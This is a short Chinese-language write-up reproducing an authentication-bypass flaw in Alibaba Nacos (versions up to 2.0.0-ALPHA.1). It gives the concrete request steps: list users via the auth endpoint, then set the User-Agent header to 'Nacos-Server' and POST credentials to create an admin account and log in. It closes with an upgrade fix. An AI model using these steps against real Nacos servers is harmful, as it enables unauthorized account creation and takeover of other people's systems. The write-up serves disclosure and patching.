做測試遇到的新漏洞，記錄下。挺簡單的。
簡介：
Nacos 致力於幫助您發現、配置和管理微服務。Nacos 提供了一組簡單易用的特性集，幫助您快速實現動態服務發現、服務配置、服務元數據及流量管理。
漏洞概述：
Nacos官方在github發布的issue中披露Alibaba Nacos 存在一個由於不當處理User-Agent導致的認證繞過漏洞。通過該漏洞，攻擊者可以進行任意操作，包括創建新用戶並進行登錄后操作。
漏洞復現：
1、在url處添加訪問一下網址即可查看到用戶列表
/nacos/v1/auth/users?pageNo=1&pageSize=10
2、訪問以下鏈接並使用burp抓包，然后把get請求改為post，把修改User-Agent頭改為Nacos-Server
http://your-ip:8848/nacos/v1/auth/users
3、構造數據包添加一個admin用戶，然后發送POST請求，返回為200，表示創建用戶成功
username=admin&password=admin
4、回到登錄界面，使用添加的賬號密碼進行登錄，可以看到登錄成功
影響版本：
Nacos <= 2.0.0-ALPHA.1
修復建議：
升級到最新版本的 Nacos